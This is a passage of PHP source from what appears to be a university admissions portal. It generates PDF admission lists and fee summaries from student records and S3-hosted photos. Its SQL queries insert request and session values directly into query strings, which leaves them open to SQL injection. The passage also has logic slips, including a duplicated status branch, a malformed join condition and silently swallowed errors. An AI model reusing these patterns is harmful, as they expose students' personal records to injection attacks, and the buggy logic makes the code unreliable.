$aobj_context->mobj_db->GetAll($get_details); $total = 0; $total_fee_paid = 0; $regfee = 0; $othfee = 0; $fine = 0; foreach ($lobj_rs as $ak => $av) { if ($av['HEAD_CODE'] == '01. REGISTRATION FEE') { $regfee = $av['FEES_PAID']; } else if (strpos($av['HEAD_CODE'], 'FINE') !== false) { // } else if ($av['HEAD_CODE'] == '03. FINE') { $fine = $av['FEES_PAID']; } else { $othfee += $av['FEES_PAID']; } $FEES_PAID = $av['FEES_PAID']; $total_fee_paid += $FEES_PAID; } $FAPPNO = $value['fappno']; $fname = $value['FNAME']; $fatname = $value['FFATNAME']; $mname = $value['FMOTNAME']; $dob = $value['DOB']; $fsex = $value['Gender']; $fcaste = $value['CASTE']; $total_fee = $value['FTOTFEE']; $rec_fee = $value['REG_FEE']; $pay_date = $value['FPAYDATE']; $pay_type = $value['FPAYTYPE']; $pay_id = $value['FPAYID']; $remarks = $value['FREMARKS']; $SCode = $value['SCode']; $SShort = $value['SShort']; $quota = $value['FQUOTA']; $comb = $value['FCOMBCODE']; $qualify = $value['FTYPEQUALEXAM']; $board = $value['FUNIVNAME']; $admdate = $value['FADMDATE']; $percent = $value['FQPERCENTAGE']; $mobile = $value['FCONTACT_NO']; $phStud = $value['FPH']; $ver_date = $value['FACKDATE']; $app_stat = $value['FAPPRSTATUS']; $photo_path = $value['photo_path']; $regno = $value['FAREGNO']; $FUNIVCODE = $_SESSION['FUNIVCODE']; // if ($phStud == 'T') { // $phStud = 'Yes'; // } else { // $phStud = 'No'; // } $curl3 = curl_init(); $photo_url = 'https://university-student-photos.s3.ap-south-1.amazonaws.com/'.$FUNIVCODE.'/'.urlencode($photo_path); // var_dump($photo_url); // "https://university-student-photos.s3.ap-south-1.amazonaws.com/003D/student_photos/5501/dnmb/181A0006.jpg"; curl_setopt($curl3, CURLOPT_URL, $photo_url); curl_setopt($curl3, CURLOPT_NOBODY, true); $response_photo = curl_exec($curl3); $httpCode_photo = curl_getinfo($curl3 , CURLINFO_HTTP_CODE); // var_dump($httpCode_photo); $keyname = $FUNIVCODE . "/" . $photo_path; $s3 = S3Client::factory( array( 'credentials' => array( 'key' => IAM_KEY, 'secret' => IAM_SECRET ), 'version' => "latest", 'region' => 'ap-south-1' ) ); $ext = strtolower(pathinfo($keyname, PATHINFO_EXTENSION)); $filePath = tempnam(sys_get_temp_dir(), rand(10,15)); rename($filePath, $filePath .= $ext); $filePath = $filePath.'.'.$ext; try{ $result = $s3->getObject([ 'Bucket' => STUDENT_PHOTOS_BUCKET, 'Key' => $keyname, 'SaveAs' => $filePath ]); } catch(S3Exception $e){ } $full_photo_path = $filePath;//$aobj_context->main_src.'/'.$photo_path; // echo ( '<img src ="'.$full_photo_path.'"> </img>'); // var_dump($full_photo_path); $subj_arrCode = explode(",", $SCode); $subj_arrShort = explode(",", $SShort); if ($line_counter > 4) { PrintFooter($pdf); $pdf->AddPage(); $line_counter = 0; } $head_code = $value['FHEADCODE']; $amount = $value['FAMOUNT']; $head_code_arr = explode("->", $head_code); $cnt = 0; $fee_details_head = array(); $fee_details_amt = array(); $k = 0; foreach ($head_code_arr as $avv) { $exp_arr = explode("~", $avv); $fee_details_head[$cnt][$k] = $exp_arr[0]; $fee_details_amt[$cnt][$k] = $exp_arr[1]; $k++; if ($k % 5 == 0) $cnt++; } if (!empty($value['SNAME'])) { $line_counter += 1; $pdf->SetFont('Times', 'B', 9); $pdf->Cell(10, $arr_h[1], $adno, '1', 0, 'C'); $pdf->Cell(80, $arr_h[1], $fname, '1', 0, 'L'); $pdf->Cell(70, $arr_h[1], 'Fat.: ' . $fatname, '1', 0, 'L'); $pdf->Cell(65, $arr_h[1], 'Mot.: ' . $mname, '1', 0, 'L'); $pdf->Cell(30, $arr_h[1], 'Reg.: ' . $regno, '1', 0, 'L'); $pdf->Cell(25, $arr_h[1], $FAPPNO, 1, 1, 'C'); $pdf->SetFont('Times', '', 9); $pdf->Cell(30, $arr_h[1], 'DOB.: ' . $dob, '1', 0, 'L'); $pdf->Cell(30, $arr_h[1], 'Gender.: ' . $fsex, '1', 0, 'L'); $pdf->Cell(30, $arr_h[1], 'Category: ' . $fcaste, '1', 0, 'L'); $pdf->Cell(30, $arr_h[1], 'Phy. Hand.?: ' . $phStud, '1', 0, 'L'); $pdf->Cell(60, $arr_h[1], 'Qual. Exam: ' . $qualify, '1', 0, 'L'); // $pdf->Cell(50, $arr_h[1], 'Board: ' . $board1, '1', 0, 'L'); $pdf->Cell(30, $arr_h[1], 'Percent: ' . $percent, '1', 0, 'L'); $pdf->Cell(45, $arr_h[1], 'Phone: ' . $mobile, '1', 0, 'L'); $pdf->Cell(25, $arr_h[1], '', 'LR', 0, 'C'); $pdf->Cell(25, $arr_h[1], '', 'LR', 1, 'C'); $pdf->Cell(30, $arr_h[1], 'Adm Date: ' . $admdate, '1', 0, 'L'); $pdf->Cell(30, $arr_h[1], 'Comb.: ' . $comb, '1', 0, 'L'); $pdf->Cell(30, $arr_h[1], 'Caste.: ' . $quota, '1', 0, 'L'); $pdf->Cell(30, $arr_h[1], 'Pay. Date: ' . $pay_date, 'R', 0, 'L'); $pdf->Cell(60, $arr_h[1], 'Pay. ID: ' . $pay_id, '1', 0, 'L'); $pdf->Cell(30, $arr_h[1], 'Pay. Mode: ' . $pay_type, '1', 0, 'L'); $pdf->Cell(45, $arr_h[1], 'Verified On: ' . $ver_date, '1', 0, 'L'); $pdf->Cell(25, $arr_h[1], '', 'LR', 1, 'C'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[0], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[1], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[2], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[3], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[4], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[5], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[6], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[7], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[8], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[9], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[10], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[11], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[12], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[13], 'LRT', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrCode[14], 'LRT', 0, 'L'); $pdf->Cell(20, $arr_h[1], 'Reg. Fee.', '1', 0, 'C'); $pdf->Cell(20, $arr_h[1], 'Oth. Fee', '1', 0, 'C'); $pdf->Cell(20, $arr_h[1], 'Fine', '1', 0, 'C'); $pdf->Cell(20, $arr_h[1], 'Total', '1', 0, 'C'); $pdf->Cell(25, $arr_h[1], 'Adm. Status?', '1', 0, 'C'); $pdf->Cell(25, $arr_h[1], '', 'LR', 1, 'C'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[0], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[1], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[2], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[3], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[4], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[5], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[6], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[7], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[8], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[9], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[10], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[11], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[12], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[13], 'LRB', 0, 'L'); $pdf->Cell($arr_w[5], $arr_h[1], $subj_arrShort[14], 'LRB', 0, 'L'); $pdf->Cell(20, $arr_h[1], $regfee, '1', 0, 'C'); $pdf->Cell(20, $arr_h[1], $othfee, '1', 0, 'C'); $pdf->Cell(20, $arr_h[1], $fine, '1', 0, 'C'); $pdf->Cell(20, $arr_h[1], $total_fee_paid, '1', 0, 'C'); $pdf->Cell(25, $arr_h[1], $app_stat, 'LRB', 0, 'C'); $pdf->Cell(25, $arr_h[1], '', 'LRB', 1, 'C'); $y = $pdf->getY(); // var_dump($full_photo_path); if($httpCode_photo == 200 && file_exists($full_photo_path)) //!file_exists($full_photo_path) { //var_dump($FAPPNO); $pdf->Image($full_photo_path, 268, $y - 22, 20, 20); } //$pdf->Image($full_photo_path, 268, $y - 22, 20, 20); $pdf->SetFont('Times', '', 9); $pdf->Ln(1); $adm_ln_counter++; } ++$adno; } $pdf->ln(10); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(280, 5, "Declaration:", '', 1, "L"); // $pdf->MultiCell(280, 5, "01. The information furnished with regard to the admissions are true & correct to the best of my knowledge and belief. A copy of the university affilication letter and admission intake letter is enclosed.", 0, "L"); // $pdf->MultiCell(280, 5, "02. The students admitted to the courses are within the intake sanctioned by the Government of Karnataka / Rani Channamma University to the College / Department.", 0, "L"); $pdf->MultiCell(280, 5, "01. The particulars furnished in respect of the above candidates in the statement of Admission are based on original documents produced by them and they are true to the best of my knowledge and belief.", 0, "L"); $pdf->MultiCell(280, 5, "02. All the original documents such as marks cards, transfer certificate, migration certificate, eligibility certificate etc furnished by the candidate admitted are carefully verified and they are in order in all respects.", 0, "L"); // $pdf->MultiCell(280, 5, "05. All the students recommended in this admission statement for approval are academically eligible and have satisfied the regulations of the sources for which they are admitted.", 0, "L"); // $pdf->MultiCell(280, 5, "06. No candidate other than the candidates mentioned in this statement of admission are admitted to any course in this college.", 0, "L"); // $pdf->MultiCell(280, 5, "07. All the applicable fees with respect to admission is duly remitted to the University funds.", 0, "L"); $pdf->ln(15); $pdf->Cell(50, 5, "Date :", '0', 0, 'L'); $pdf->Cell(225, 5, "Principal Signature (with seal)", '0', 1, 'R'); if($pdf->funivcode !='050' && $pdf->funivcode !='051') { PrintFooter($pdf); $pdf->WhichReport = 'Admission Summary'; $pdf->db = $db; $pdf->AddPage(); $pdf->SetMargins(10, 12,0,0); if($FUNIVCODE == '048') { $sql = "select fdegree, fcollcode, fcaste, fcount, fmale, ffemale, group_concat(heads order by heads) as headfee from (select concat(fheadcode, '->',sum(famount)) as heads, studadm.fdegree,studadm.fcollcode,FCATBIRTH as fcaste,count(*) as fcount, sum(if(studadm.fgender='Male',1,0)) as fmale, sum(if(studadm.fgender='Female',1,0)) as ffemale from studadm,admfeedetl where ifnull(studadm.fdeleted,'F') <> 'T' and admfeedetl.fdegree = studadm.fdegree and admfeedetl.fslno = studadm.fslno and studadm.fdegree ='{$degree_code}' and studadm.fcollcode='{$college_code}' and admfeedetl.fcollcode=studadm.fcollcode group by studadm.fdegree,studadm.fcollcode,fcaste, fheadcode) x group by fdegree, fcollcode, fcaste"; }else { $sql = "select fdegree, fcollcode, fcaste, fcount, fmale, ffemale, heads as headfee from (select studadm.fdegree,studadm.fcollcode,fcaste,count(*) as fcount, sum(if(studadm.fsex='M',1,0)) as fmale, sum(if(studadm.fsex='F',1,0)) as ffemale, concat('01. REGISTRATION FEE->', sum(ftotfee)) as heads from studadm where ifnull(studadm.fdeleted,'F') <> 'T' and studadm.fpaymentstatus='SUCCESS' and studadm.fapprstatus='APPROVED' and studadm.fdegree ='{$degree_code}' and studadm.fcollcode='{$college_code}' group by studadm.fdegree,studadm.fcollcode,fcaste) x group by fdegree, fcollcode, fcaste"; } $rst = $aobj_context->mobj_db->GetAll($sql); $slno = 1; $totmale = 0; $totfemale = 0; $totstud = 0; $totregfee = 0; $totothfee = 0; $totfine = 0; $totamount = 0; $pdf->SetFont('Times', '', 10); foreach ($rst as $key => $val) { $Toatlfee = 0; $pdf->Cell(60,6,'','0',0,'C'); $pdf->Cell(12, 6, $slno, '1', 0, 'C'); $pdf->Cell(20, 6, $val['fcaste'], '1', 0, 'C'); $pdf->Cell(20, 6, $val['fmale'], '1', 0, 'R'); $pdf->Cell(20, 6, $val['ffemale'], '1', 0, 'R'); $pdf->Cell(20, 6, $val['fcount'], '1', 0, 'R'); $totmale += $val['fmale']; $totfemale += $val['ffemale']; $totstud += $val['fcount']; $headfeearr = explode(',', $val['headfee']); $fregfee = 0; $ffine = 0; $fothfee = 0; foreach ($headfeearr as $hdkey => $hdval) { $feearr = explode('->', $hdval); if ($feearr[0] == '01. REGISTRATION FEE') { $fregfee += $feearr[1]; } else if (strpos($feearr[0], 'FINE') !== false) { $ffine += $feearr[1]; } else { $fothfee += $feearr[1]; } $Toatlfee += $feearr[1]; } $totregfee += $fregfee; $totothfee += $fothfee; $totfine += $ffine; $totamount += $Toatlfee; $pdf->Cell(20, 6, $fregfee, '1', 0, 'R'); $pdf->Cell(20, 6, $fothfee, '1', 0, 'R'); $pdf->Cell(20, 6, $ffine, '1', 0, 'R'); $pdf->Cell(20, 6, $Toatlfee, '1', 1, 'R'); // $pdf->Cell(60, 6, '', '1', 1, 'C'); ++$slno; } $pdf->SetFont('Times', 'B', 10); $pdf->Cell(60,6,'','0',0,'C'); $pdf->Cell(32, 6, 'Total', '1', 0, 'C'); $pdf->Cell(20, 6, $totmale, '1', 0, 'R'); $pdf->Cell(20, 6, $totfemale, '1', 0, 'R'); $pdf->Cell(20, 6, $totstud, '1', 0, 'R'); $pdf->Cell(20, 6, $totregfee, '1', 0, 'R'); $pdf->Cell(20, 6, $totothfee, '1', 0, 'R'); $pdf->Cell(20, 6, $totfine, '1', 0, 'R'); $pdf->Cell(20, 6, $totamount, '1', 1, 'R'); // $pdf->Cell(60, 6, '', '1', 1, 'C'); $pdf->ln(10); $pdf->SetFont('Times', 'B', 11); $pdf->Cell(280, 5, "Declaration:", '', 1, "L"); // $pdf->MultiCell(280, 5, "01. The information furnished with regard to the admissions are true & correct to the best of my knowledge and belief. A copy of the university affilication letter and admission intake letter is enclosed.", 0, "L"); // $pdf->MultiCell(280, 5, "02. The students admitted to the courses are within the intake sanctioned by the College.", 0, "L"); $pdf->MultiCell(280, 5, "01. The particulars furnished in respect of the above candidates in the statement of Admission are based on original documents produced by them and they are true to the best of my knowledge and belief.", 0, "L"); $pdf->MultiCell(280, 5, "02. All the original documents such as marks cards, transfer certificate, migration certificate, eligibility certificate etc furnished by the candidate admitted are carefully verified and they are in order in all respects.", 0, "L"); // $pdf->MultiCell(280, 5, "05. All the students recommended in this admission statement for approval are academically eligible and have satisfied the regulations of the sources for which they are admitted.", 0, "L"); // $pdf->MultiCell(280, 5, "06. No candidate other than the candidates mentioned in this statement of admission are admitted to any course in this college.", 0, "L"); // $pdf->MultiCell(280, 5, "07. All the applicable fees with respect to admission is duly remitted to the University funds.", 0, "L"); $pdf->ln(15); $pdf->Cell(50, 5, "Date :", '0', 0, 'L'); $pdf->Cell(225, 5, "Principal Signature (with seal)", '0', 1, 'R'); PrintFooter($pdf); $pdf->ln(2); } $pdf->Output("report_admission_list.pdf", "I"); } function generateAdmissionReportBcu($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; $FUNIVCODE = $_SESSION['FUNIVCODE']; ini_set('memory_limit','900M'); ini_set('max_execution_time',9999999); //echo $college_code; $degree_code = $aobj_context->mobj_data["degree_code"]; $exam_no = $aobj_context->mobj_data["exam_no"]; $exam_no = 'A'; $appto = $aobj_context->mobj_data["appto"]; $appfrom = $aobj_context->mobj_data["appfrom"]; $status = $aobj_context->mobj_data["status"]; if($status == 'ack') $cndstatus = "and ifnull(FAPPSTATUS,'') = 'verified'"; else if($status == 'nack') $cndstatus = "and ifnull(FAPPSTATUS,'') = ''"; else if($status == 'nack') $cndstatus = "and ifnull(FAPPRSTATUS,'') <> ''"; else $cndstatus = ""; $main_src_obj=(explode("/",$_SERVER["REQUEST_URI"])); $main_src=$main_src_obj[1]; $pdf_writer_class=$aobj_context->main_src."/maya-pdf/fpdf.php"; $tarkaheader=$aobj_context->main_src."/Report_details/tarkaheader.php"; $root_pdf_file_download=$aobj_context->main_src."/Report_details/output/report_admission_list.pdf"; $p_count =1; // end global varibales include($pdf_writer_class); $pdf= new FPDF('L'); //$pdf->$title='20000 Leagues Under the Seas'; $pdf->SetFont('Times','',10); $pdf->SetMargins(5,12,0,0); $pdf->AliasNbPages(); $sub_degree_cond=""; // query for the page header $page_header_university = "select FUNIVNAME,FTOWN, date_format(now(),'%d/%m/%Y') as date from control"; $lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university); $page_header_college ="select concat('[',FCOLLCODE,'] ',FCOLLNAME,', ',FTOWN) as college_name from college where FCOLLCODE='{$college_code}'"; $lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); $page_header_degree = "select concat('[',FDEGREE,'] - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR as FADYEAR from degree where FDEGREE = '{$degree_code}' and FEXAMNO='{$exam_no}' "; $lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree); $pdf->aobj_context =$aobj_context ; $pdf->WhichReport = 'Admission'; $pdf->FUNIVNAME = $lobj_page_header_university['FUNIVNAME']; $pdf->FTOWN = $lobj_page_header_university['FTOWN']; $pdf->date_time = $lobj_page_header_university['date']; $pdf->college_name = $lobj_page_header_college['college_name']; $pdf->Degree_name = $lobj_page_header_degree['Degree_name']; $pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name']; $pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR']; $canddettmp = "canddet"; $candsumttmp = "candsum"; $degreetmp = "degree"; $subjecttmp = "subject"; //end header $pdf->AddPage(); PrintFooter($pdf); //$pdf->Ln(); $pdf->SetFont('Times','',10); if($exam_no == 'A') { $cnd = "left(mb.FBOARDNAME,20) as FBOARDRUNIV,"; if($FUNIVCODE == '003') { $cnd = "left(s.FUNIVNAME,20) as FBOARDRUNIV,"; } $get_student_data = "select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FSLNO, concat('*',s.FSLNO))) as SLNO,s.fappno, LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME, ifnull(s.FAREGNO,'') as FAREGNO, ifnull(s.FAPPRSTATUS,'') as FAPPRSTATUS, LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME, group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode, group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort, if(ifnull(s.fgender,'') = 'M','Male',if(ifnull(s.fgender,'') = 'F','Female','Transgender')) as FSEX, Date_Format(s.FDOB,'%d/%m/%Y') as DOB, concat('Father : ',s.FFATNAME) as Father ,s.fcaste as CASTE, concat('Mother : ',s.FMOTNAME) as Mother, s.FUNIVFEE as REG_FEE, s.FADMFINE as FINE, s.FTOTFEE, left(FTYPEQUALEXAM,20) as FQUALIFY, {$cnd} DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMDATE, FQPERCENTAGE, s.FCOMBCODE,ifnull(s.FPHOTOPATH,'') as photo_path from studadm s inner join options op on s.FSLNO=op.FSLNO and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE inner join subject sub on sub.FSUBCODE=op.FSUBCODE left join admfeedetl adm on adm.FDEGREE=s.FDEGREE and adm.FEXAMNO=s.FEXAMNO and adm.FSLNO=s.FSLNO and adm.FCOLLCODE=s.FCOLLCODE left join masboard mb on s.FUNIVNAME = mb.FBOARDCODE where s.FDEGREE='{$degree_code}' and ifnull(FAPPSTATUS,'') = 'verified' and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE and s.FCOLLCODE='{$college_code}' and sub.FEXAMNO='{$exam_no}'and sub.FEXAMNO=op.FEXAMNO and ifnull(s.fappno,'') <> '' and s.fappno between '{$appfrom}' and '{$appto}' group by s.FCOLLCODE,s.FDEGREE,s.FSLNO order by s.FSLNO"; } else { $get_student_data = "select s.fregno as fregno,cs.fappno, LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME, LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME, group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode, group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort, Date_Format(s.FDOB,'%d/%m/%Y') as DOB, concat('Father : ',s.FFATNAME) as Father ,s.FCASTE as CASTE, concat('Mother : ',s.FMOTNAME) as Mother, s.REG_FEE, s.FTOTFEE, Date_Format(s.FRECDATE,'%d/%m/%Y') as FRECDATE, s.FRECNO,s.FREMARKS, if(ifnull(sa.fgender,'') = 'M','Male',if(ifnull(sa.fgender,'') = 'F','Female','Transgender')) as FSEX, FTYPEQUALEXAM as FQUALIFY, FPHTYPE AS FPH, left(FUNIVNAME,20) as FBOARDRUNIV, DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMDATE, FPERCENT, s.FCOMBCODE, cs.fregfee as FFEEPAID, ifnull(s.FPHOTOPATH,'') as photo_path from student s inner join {$canddettmp} op on s.fregno=op.fregno and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE inner join {$candsumttmp} cs on op.fregno = cs.fregno and op.FDEGREE = cs.FDEGREE and op.FCOLLCODE and cs.FCOLLCODE inner join {$subjecttmp} sub on op.FSUBCODE=sub.FSUBCODE and op.fdegree = sub.fdegree where s.FDEGREE='{$degree_code}' {$cndstatus} and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE and s.FCOLLCODE='{$college_code}' and sub.FEXAMNO='B'and sub.FEXAMNO=op.FEXAMNO and ifnull(cs.fappno,'') <> '' and cs.fappno between '{$appfrom}' and '{$appto}' group by s.FCOLLCODE,s.FDEGREE,cs.fappno order by cs.fappno"; } $lobj_student_data = $aobj_context->mobj_db->GetAll($get_student_data); $arr_w = array(10,65,70,108); $arr_h = array(); $adm_ln_counter=1; $arr_w = array(12,25,95,35,73,9,20,44,12,18,17); $arr_h = array(5,6); $sl_no=1; //var_dump($lobj_student_data);die(); foreach($lobj_student_data as $key => $value) { $get_year="SELECT FADYEAR FROM {$degreetmp} WHERE FDEGREE='{$degree_code}' AND FEXAMNO='{$exam_no}'"; $lobj_get_year = $aobj_context->mobj_db->getRow($get_year); $year=$lobj_get_year['FADYEAR']; if($exam_no == 'A') { $get_details = "SELECT FHEADCODE,FAMOUNT FROM admfeedetl where FDEGREE = '{$degree_code}' AND FEXAMNO = '{$exam_no}' AND FCOLLCODE = '{$college_code}' AND FSLNO = '{$value['SLNO']}'"; }else { $get_details = "SELECT FFEECODE as FHEADCODE,FAMOUNT FROM studfee where FDEGREE = '{$degree_code}' AND FEXAMNO = 'B' AND FCOLLCODE = '{$college_code}' AND fregno = '{$value['fregno']}'"; } //var_dump($get_details);die(); $lobj_rs = $aobj_context->mobj_db->GetAll($get_details); $total=0; $total_fee_paid=0; $REGFee = 0; $Fine = 0; $othrFee = 0; foreach($lobj_rs as $ak=>$av) { //var_dump($av['FHEADCODE']); if($FUNIVCODE == '003') { if($av['FHEADCODE'] == '01 UNIVERSITY FEE') { $REGFee = $av['FAMOUNT']; } else if($av['FHEADCODE'] == '02 Fine') { $Fine = $av['FAMOUNT']; } else { $othrFee += $av['FAMOUNT']; } }else { if($av['FHEADCODE'] == '01 University Total Fee') { $REGFee = $av['FAMOUNT']; } else if($av['FHEADCODE'] == '02 Fine') { $Fine = $av['FAMOUNT']; } else { $othrFee += $av['FAMOUNT']; } } $total_fee_paid+=$av['FAMOUNT']; } $photo_path = $value['photo_path']; $curl3 = curl_init(); $photo_url = 'https://university-student-photos.s3.ap-south-1.amazonaws.com/'.$FUNIVCODE.'/'.urlencode($photo_path); // var_dump($photo_url);die(); // "https://university-student-photos.s3.ap-south-1.amazonaws.com/003D/student_photos/5501/dnmb/181A0006.jpg"; curl_setopt($curl3, CURLOPT_URL, $photo_url); curl_setopt($curl3, CURLOPT_NOBODY, true); $response_photo = curl_exec($curl3); $httpCode_photo = curl_getinfo($curl3 , CURLINFO_HTTP_CODE); //var_dump($value['fappno']," --- ",getimagesize($photo_url)); $keyname = $FUNIVCODE . "/" . $photo_path; $phpjpg = strpos($photo_path,".jpg"); $phpjpeg = strpos($photo_path,".jpeg"); $s3 = S3Client::factory( array( 'credentials' => array( 'key' => IAM_KEY, 'secret' => IAM_SECRET ), 'version' => "latest", 'region' => 'ap-south-1' ) ); $ext = strtolower(pathinfo($keyname, PATHINFO_EXTENSION)); $filePath = tempnam(sys_get_temp_dir(), rand(10,15)); rename($filePath, $filePath .= $ext); $filePath = $filePath.'.'.$ext; try{ $result = $s3->getObject([ 'Bucket' => STUDENT_PHOTOS_BUCKET, 'Key' => $keyname, 'SaveAs' => $filePath ]); } catch(S3Exception $e){ } $full_photo_path = $filePath;//$aobj_context->main_src.'/'.$photo_path; $a = getimagesize($photo_url); // if($value['fappno'] == '50310001760') // { // $a = getimagesize($photo_url); // var_dump($a); // $image_type = $a[2]; // var_dump($image_type); // } $fslno=$value['SLNO']; $fname=$value['FNAME']; $fatname=$value['FFATNAME']; $mname=$value['FMOTNAME']; $dob=$value['DOB']; $fsex=$value['FSEX']; $fcaste=$value['CASTE']; $total_fee=$value['FTOTFEE']; $rec_fee = $value['REG_FEE']; $rec_date = $value['FRECDATE']; $rec_no = $value['FRECNO']; $remarks = $value['FREMARKS']; $SCode = $value['SCode']; $SShort = $value['SShort']; $quota = $value['FQUOTA']; $qualify = $value['FQUALIFY']; $board = $value['FBOARDRUNIV']; $admdate = $value['FADMDATE']; $percent = $value['FQPERCENTAGE']; $phStud = $value['FPH']; $regno=$value['FAREGNO']; $appno = $value['fappno']; $FAPPRSTATUS = $value['FAPPRSTATUS']; if($phStud == 'T') { $phStud = 'Yes'; } else { $phStud = 'No'; } $subj_arrCode = explode(",",$SCode); $subj_arrShort = explode(",",$SShort); if($line_counter > 4) { $pdf->AddPage(); PrintFooter($pdf); $line_counter=0; } $head_code = $value['FHEADCODE']; $amount = $value['FAMOUNT']; $head_code_arr = explode("->",$head_code); $cnt=0; if(!empty($value['SNAME'])) { $line_counter += 1; $pdf->SetFont('Times','',9); $pdf->Cell($arr_w[0],$arr_h[1],'','LRT',0,'C'); $pdf->Cell($arr_w[2]+1,$arr_h[1],'Name : '.$fname,'1',0,'L'); $pdf->SetFont('Times','',9); $pdf->Cell(($arr_w[4]-10),$arr_h[1],'Fat.: '.$fatname,'1',0,'L'); $pdf->Cell(($arr_w[4]+2-10),$arr_h[1],'Mot.: '.$mname,'1',0,'L'); // $pdf->Cell(30, $arr_h[1], 'Reg.: ' . $regno, '1', 0, 'L'); $pdf->Cell($arr_w[1]+8,$arr_h[1],'App. No.: '.$appno,'1',0,'L'); $pdf->Cell(22,$arr_h[1],'','LTR',1,'C'); if($fslno == '') $fslno = $adm_ln_counter; $pdf->Cell($arr_w[0],$arr_h[1],$fslno,'LR',0,'C'); $pdf->Cell($arr_w[3]-8,$arr_h[1],'DOB.: '.$dob,'1',0,'L'); $pdf->Cell($arr_w[6]-2,$arr_h[1],'Cat.: '.$fcaste,'1',0,'L'); $pdf->Cell($arr_w[6]-5,$arr_h[1],'','1',0,'L'); $pdf->Cell($arr_w[6]+13,$arr_h[1],'Gender: '.$fsex,'1',0,'L'); $pdf->Cell($arr_w[7],$arr_h[1],'Qual Exam: '.$qualify,'1',0,'L'); $pdf->Cell($arr_w[8]+17,$arr_h[1],'Percentage: '.$percent.'%','1',0,'L'); $pdf->Cell($arr_w[7]+14,$arr_h[1],'Board/Univ.: '.$board,'1',0,'L'); $pdf->Cell($arr_w[7]-11,$arr_h[1],'Adm.Date: '.$admdate,'1',0,'L'); $pdf->Cell(22,$arr_h[1],'','LR',1,'C'); $pdf->Cell($arr_w[0],$arr_h[1],'','LR',0,'C'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[0],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[1],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[2],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[3],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[4],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[5],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[6],'LR',0,'L'); 